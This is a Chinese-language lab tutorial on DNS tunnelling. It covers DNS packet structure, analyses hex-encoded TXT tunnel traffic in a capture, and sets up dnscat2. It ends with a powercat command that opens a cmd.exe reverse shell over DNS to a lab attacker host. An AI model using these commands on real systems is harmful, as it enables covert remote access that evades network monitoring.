DNS隧道

DNS协议介绍

域名系统（Domain Name System，缩写：DNS）是互联网的一项服务。它作为将域名和IP地址相互映射的一个分布式数据库，能够使人更方便地访问互联网。DNS使用TCP和UDP端口53。当前，对于每一级域名长度的限制是63个字符，域名总长度则不能超过253个字符。DNS协议是用来将域名转换为IP地址,DNS除了提供主机名到IP地址转换外，还提供如下服务：主机别名、邮件服务器别名、负载分配等。

DNS报文格式

DNS 定义了两种报文 ， 一种为查询报文；另一种是对查询报文的响应，称为响应报文。无论是查询报文还是响应报文

DNS协议报文格式

ID:由生成DNS查询的程序指定的16位的标志符。该标志符也被随后的应答报文所用，申请者利用这个标志将应答和原来的请求对应起来.
flags：标志位，标记查询/应答，查询类型，截断，递归查询等等
type：DNS记录类型，常用的有：

A：A记录，指向别名或IP地址。
NS：解析服务器记录。
MX：邮件交换记录。
CNAME：别名。
AAAA：IPv6地址解析。
txt：为某个主机名或域名设置的说明。
PTR：指针记录，PTR记录是A记录的逆向记录。
SOA：标记一个区的开始，起始授权机构记录。

我们来PING一下百度看看一看流量

请求数据包

```
1…  192.168.41.117      114.114.114.114      DNS
1…  114.114.114.114     192.168.41.117       DNS
```

```
Domain Name System (query)
    Transaction ID: 0xeaa6
  > Flags: 0x0100 Standard query
    Questions: 1
    Answer RRs: 0
    Authority RRs: 0
    Additional RRs: 0
  v Queries
    v baidu.com: type A, class IN
        Name: baidu.com
        [Name Length: 9]
        [Label Count: 2]
        Type: A (Host Address) (1)
        Class: IN (0x0001)
    [Response In: 390]
```

返回数据包

```
1…  114.114.114.114     192.168.41.117       DNS
```

```
    Answer RRs: 2
    Authority RRs: 0
    Additional RRs: 0
  v Queries
    v baidu.com: type A, class IN
        Name: baidu.com
        [Name Length: 9]
        [Label Count: 2]
        Type: A (Host Address) (1)
        Class: IN (0x0001)
  v Answers
    > baidu.com: type A, class IN, addr 110.242.68.66
    > baidu.com: type A, class IN, addr 39.156.66.10
    [Request In: 389]
    [Time: 0.021984000 seconds]
```

一般DNS隧道中通信的内容隐藏在请求区域和回答区域中，可能在不同的type类型中隐藏的地方不同

DNS隧道流量分析

我们搭建一个简单的DNS的隧道用于反弹shell

```
131 Standard query response 0x0004 TXT 68330148834734a771.pc.test TXT
102 Standard query 0x0004 TXT 56940148834734a77877686f616d690d0a.pc.test
133 Standard query response 0x0004 TXT 56940148834734a77877686f616d690d0a.pc.test TXT
 85 Standard query 0x3e2d A teredo.ipv6.microsoft.com
 76 Standard query 0x219e A wpad.localdomain
121 Standard query 0x0004 TXT 6700014883473ca7786162635c61646d696e697374726174.6f72.pc.test
152 Standard query response 0x0004 TXT 6700014883473ca7786162635c61646d696e697374726174.6f72.pc.te
141 Standard query 0x0004 TXT 6917014883474da7780d0a0d0a433a5c55736572735c4164.6d696e6973747261746
172 Standard query response 0x0004 TXT 6917014883474da7780d0a0d0a433a5c55736572735c4164.6d696e6973
 86 Standard query 0x0004 TXT 35400148834768a778.pc.test
117 Standard query response 0x0004 TXT 35400148834768a778.pc.test TXT
 86 Standard query 0x0004 TXT 29100148834768a778.pc.test
117 Standard query response 0x0004 TXT 29100148834768a778.pc.test TXT
 86 Standard query 0x0004 TXT 14260148834768a778.pc.test
117 Standard query response 0x0004 TXT 14260148834768a778.pc.test TXT
 86 Standard query 0x0004 TXT 44920148834768a778.pc.test
117 Standard query response 0x0004 TXT 44920148834768a778.pc.test TXT
 86 Standard query 0x0004 TXT 64430148834768a778.pc.test
```

通过分析发现DNS请求类型是TXT，为某个主机名或域名设置的说明。并且域名的有所变化，通过观看应该是16进制加密的，分期其中一段为（C:\Users\Ad.ministrator>.pc.test）

DNS隧道搭建（dnscat）

dnscat是可以用来进行DNS隧道进行通信的，工具有客户端和服务端，下载地址：https://github.com/iagox86/dnscat2

工具安装非常简单

服务端安装：

```
sudo apt-get install ruby-dev
cd dnscat2/server/
gem install bundler
bundle install
```

客户端安装

```
cd dnscat2/client/
make
```

1、我们在kali 中执行如下命令开启服务端

```
ruby dnscat2.rb pc.test -e open --no-cache
```

2、在windows使用powercat连接

```
powercat -c 192.168.41.134 -p 53 -dns pc.test -e cmd.exe
```

3、收到反弹shell的隧道